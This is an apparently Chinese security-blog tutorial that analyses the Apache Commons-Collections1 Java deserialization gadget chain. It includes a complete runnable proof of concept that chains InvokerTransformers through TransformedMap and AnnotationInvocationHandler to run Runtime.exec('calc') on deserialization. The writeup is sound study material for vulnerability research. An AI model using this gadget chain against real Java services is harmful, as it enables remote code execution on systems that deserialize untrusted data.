commons-collections1

3 篇文章 0 订阅
2 篇文章 0 订阅

Commons-Collections1

测试代码

先给出完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1TestFinal {
    public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException {

        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);


        Map map = new HashMap();
        map.put("value","fuck");
        Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        Class annotationinvocationhandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = annotationinvocationhandlerclass.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        System.out.println();
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

分析

这条链最后执行任意方法的点就是InvokerTransformer类的transform方法
在这里插入图片描述
大概就是接收一个输入,不为空就获取它的Class,然后获取这个类的某一个方法,然后反射调用这个方法
在这里插入图片描述
这里看到InvokerTransformer的构造方法,这里的methodName感觉是可控的,所以用这个方法去调用Runtime.getRuntime().exec(),先写一个命令执行的形式

Runtime.getRuntime().exec("calc");

然后利用反射的形式实现

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

因为Runtime这个类不能被序列化,所以上面的代码就用Class起手实现

Class runtimeClass = Runtime.class;
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

回到cc1这里,改用InvokerTransformer实现

Class runtimeClass = Runtime.class;
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
Runtime runtime =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

这里等于是重复调用了transform方法,在ChainedTransformer这个类中有一个构造方法和函数,可以实现链式调用

在这里插入图片描述

把上面再改写成ChainedTransformer的形式

Transformer[] transformer = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

然后就是细说一下这里面的东西,看一下,这里transform获取了inputClass类,正好对应上了Runtime类,然后iMethodName理想状况下应该是getRuntime

在这里插入图片描述

可以看到getRuntime是一个无参数的方法,所以这里iArgs应该是为null

在这里插入图片描述

第一句Class runtimeClass = Runtime.class;是获取RuntimeClass

在这里插入图片描述

然后根据InvokerTransformernew一个对象,第一个参数是方法名,第二个数组参数是参数类型,第三个数组参数是方法参数,这里因为传的是Class类型,所以第一步需要获取getMethod方法,对应的第一个参数就是getMethod

用getMethod的目的是调用getRuntime,而getMethod的第一个参数是String类型,第二个参数是null,所以第二个参数就是new Class[]{String.class,Class[].class}然后调用transform得到Method类型的对象getRuntimeMethod

剩下两次的new InvokerTransformer同理

构造好这部分之后先放着不动,接下来找一下都有哪些类调用了transform方法

在这里插入图片描述

这里找到了TransformedMap类的checkSetValue方法

在这里插入图片描述

继续找调用checkSetValue的地方,找到了AbstractInputCheckedMapDecorator类的setValue方法

在这里插入图片描述

继续找调用setValue的地方,在AnnotationInvocationHandler类中,正好readObject方法调用到了setValue

在这里插入图片描述

整条连倒着推过来大概就是这样

在这里插入图片描述

然后就是写TransformedMap的部分

在这里插入图片描述

这个类中的decorate方法会返回一个TransformedMap的实例,并且它的三个参数是我们可以控制的,而valueTransformer调用了transform方法,也就是说只要让valueTransformer参数是chainedTransformer就可以触发

这里new一个Map对象,然后设置一个键值对,至于为什么是这两个值,后面再讨论

Map map = new HashMap();
map.put("value","fuck");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer)

入口类调用了checkSetValue,接下来写这一部分

在这里插入图片描述

根据英文的意思,annotationType就是注解类型,常见的就是OverrideTarget……,这里代码大致的意思是获取注解的成员变量,为什么用Target,因为它的成员变量不为空,代码后边会根据Map的key查找注解类型是否存在key成员变量,所以put的时候key值要设置成Target的成员变量value

在这里插入图片描述

在这里插入图片描述

最后就是完善这一部分

Class annotationinvocationhandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = annotationinvocationhandlerclass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);

这条链就结束了

参考链接

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1007.top_right_bar_window_default_collection.content.click&vd_source=0e561107bf71895281374fc0b905ae17
nsformedMap);

  • 7
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值